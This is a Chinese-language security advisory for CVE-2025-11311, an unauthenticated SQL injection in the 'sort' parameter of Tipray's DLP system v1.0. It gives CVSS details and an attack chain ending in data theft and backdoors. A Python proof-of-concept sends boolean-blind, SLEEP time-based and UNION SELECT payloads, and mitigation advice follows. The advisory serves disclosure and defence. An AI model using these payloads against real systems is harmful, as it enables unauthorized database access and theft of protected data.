IPBUF安全漏洞报告
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CVE-2025-11311 CVSS 7.3 高危

CVE-2025-11311:天锐数据泄露防护系统SQL注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11311
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tipray 厦门天锐科技股份有限公司 天锐数据泄露防护系统 (Data Leakage Prevention System)

相关标签

SQL注入CVE-2025-11311天锐数据泄露防护系统TiprayDLP数据泄露防护高危漏洞远程攻击无需认证findTenantPage

漏洞概述

CVE-2025-11311是Tipray厦门天锐科技股份有限公司天锐数据泄露防护系统(Data Leakage Prevention System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于系统的findTenantPage功能模块中,具体涉及文件findTenantPage.do的处理逻辑。攻击者可以通过操纵sort参数注入恶意的SQL语句,从而实现对后台数据库的未授权访问和操作。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),也无需用户交互(UI:N)。漏洞的机密性、完整性和可用性影响均为低级别(C:L/I:L/A:L),表明虽然单个影响维度较低,但综合起来仍构成严重的安全风险。

该漏洞已于2025年10月6日公开披露,漏洞发现者为[email protected]。值得注意的是,该漏洞的利用代码已在公开渠道披露,攻击者可以轻易获取并实施攻击。安全研究人员在披露前已联系厂商,但厂商未对此做出任何回应,这进一步增加了用户面临的安全风险。该漏洞的存在可能导致敏感数据泄露、数据篡改以及系统权限提升等严重后果,对于使用该数据泄露防护系统的企业而言,数据安全防护形同虚设。

技术细节

该漏洞的核心问题在于findTenantPage.do文件中findTenantPage函数对sort参数的处理缺乏充分的输入验证和参数化处理。具体而言,当用户向该接口提交包含sort参数的请求时,后端代码直接将用户传入的sort参数值拼接到SQL查询语句中,而没有进行适当的过滤、转义或使用预编译参数化查询。

攻击者可以通过构造特殊的sort参数值,例如在参数中注入SQL关键字和逻辑判断语句(如ORDER BY子句注入或UNION SELECT联合查询),来实现SQL注入攻击。由于该接口无需认证即可访问(PR:N),攻击者可以在远程通过网络直接发起攻击,无需任何身份凭证。

利用方式方面,攻击者首先需要识别目标系统是否运行天锐数据泄露防护系统1.0版本,然后定位到findTenantPage.do接口的访问路径。通过发送精心构造的HTTP请求,在sort参数中注入恶意SQL片段,攻击者可以:

1. 使用基于布尔的盲注技术,通过观察页面响应的差异来逐位提取数据库中的敏感信息;
2. 使用基于时间的盲注技术,通过SQL的SLEEP或BENCHMARK函数判断注入是否成功;
3. 使用UNION联合查询直接获取数据库中的数据内容;
4. 利用数据库的写权限进行数据篡改或植入恶意数据。

由于该漏洞影响的是一个数据泄露防护系统(DLP),成功利用该漏洞将直接绕过系统的数据保护机制,获取系统中存储的所有敏感数据,危害极大。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过网络扫描或信息收集,识别目标企业是否部署了Tipray天锐数据泄露防护系统v1.0,并定位findTenantPage.do接口的访问路径。
STEP 2
步骤2:漏洞验证
攻击者向findTenantPage.do接口发送带有正常sort参数的HTTP请求,确认接口可访问后,构造包含SQL注入payload的sort参数进行漏洞验证。
STEP 3
步骤3:注入利用
攻击者通过sort参数注入恶意SQL语句,可采用布尔盲注、时间盲注或UNION联合查询等方式,逐步提取数据库中的敏感信息,包括用户凭证、系统配置和受保护的敏感数据。
STEP 4
步骤4:数据窃取
由于该系统是数据泄露防护系统(DLP),攻击者成功利用漏洞后可以获取系统中存储的所有被保护的敏感数据,完全绕过DLP的防护机制。
STEP 5
步骤5:权限提升与持久化
攻击者可能利用获取的数据库权限进行进一步的权限提升,获取系统shell或植入后门,实现对目标系统的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11311 PoC - SQL Injection in Tipray DLP System # Vulnerability: SQL Injection via sort parameter in findTenantPage.do # Affected: Tipray Data Leakage Prevention System v1.0 import requests target_url = "http://target-host:8080" endpoint = "/findTenantPage.do" # Normal request to verify the endpoint is accessible def check_endpoint(): url = f"{target_url}{endpoint}" params = { "page": "1", "limit": "10", "sort": "id" } try: resp = requests.get(url, params=params, timeout=10) print(f"[+] Endpoint status: {resp.status_code}") return resp.status_code == 200 except Exception as e: print(f"[-] Connection error: {e}") return False # Boolean-based blind SQL injection via sort parameter def exploit_blind_injection(): url = f"{target_url}{endpoint}" # Inject ORDER BY clause with CASE WHEN for boolean-based blind injection payload = "id,(CASE WHEN (1=1) THEN id ELSE (SELECT 1 UNION SELECT 2) END)" params = { "page": "1", "limit": "10", "sort": payload } try: resp_true = requests.get(url, params=params, timeout=10) payload_false = "id,(CASE WHEN (1=2) THEN id ELSE (SELECT 1 UNION SELECT 2) END)" params["sort"] = payload_false resp_false = requests.get(url, params=params, timeout=10) if resp_true.status_code != resp_false.status_code or resp_true.text != resp_false.text: print("[+] Target is vulnerable to SQL injection!") return True else: print("[-] Target may not be vulnerable") return False except Exception as e: print(f"[-] Exploit error: {e}") return False # Time-based blind SQL injection def exploit_time_based(): url = f"{target_url}{endpoint}" # Using IF/SLEEP for time-based detection payload = "id,IF(1=1,SLEEP(5),0)" params = { "page": "1", "limit": "10", "sort": payload } try: resp = requests.get(url, params=params, timeout=15) if resp.elapsed.total_seconds() >= 5: print("[+] Time-based SQL injection confirmed!") return True else: print("[-] Time-based injection not detected") return False except Exception as e: print(f"[-] Time-based exploit error: {e}") return False # UNION-based SQL injection to extract data def exploit_union_injection(): url = f"{target_url}{endpoint}" # Attempt UNION-based injection to extract database version payload = "1 UNION SELECT 1,version(),database(),user(),5,6,7,8,9,10--" params = { "page": "1", "limit": "10", "sort": payload } try: resp = requests.get(url, params=params, timeout=10) if resp.status_code == 200 and ("MySQL" in resp.text or "Oracle" in resp.text or "PostgreSQL" in resp.text): print("[+] UNION injection successful!") print(f"[+] Response: {resp.text[:500]}") return True except Exception as e: print(f"[-] UNION exploit error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-11311 - Tipray DLP SQL Injection PoC") print("[*] Checking target...") if check_endpoint(): print("[*] Attempting blind injection...") exploit_blind_injection() print("[*] Attempting time-based injection...") exploit_time_based() print("[*] Attempting UNION injection...") exploit_union_injection()

影响范围

Tipray 天锐数据泄露防护系统 1.0

防御指南

临时缓解措施
在厂商发布安全补丁之前,建议采取以下临时缓解措施:1)在网络层面限制对findTenantPage.do接口的访问,仅允许可信IP地址访问;2)部署Web应用防火墙(WAF)并配置SQL注入防护规则,拦截包含UNION、SELECT、SLEEP等关键字的恶意请求;3)对sort参数进行严格的输入验证,仅允许字母、数字和下划线等安全字符;4)监控和审计所有访问findTenantPage.do接口的请求日志,及时发现异常访问行为;5)考虑在反向代理或负载均衡层面临时禁用该接口的外部访问。

参考链接

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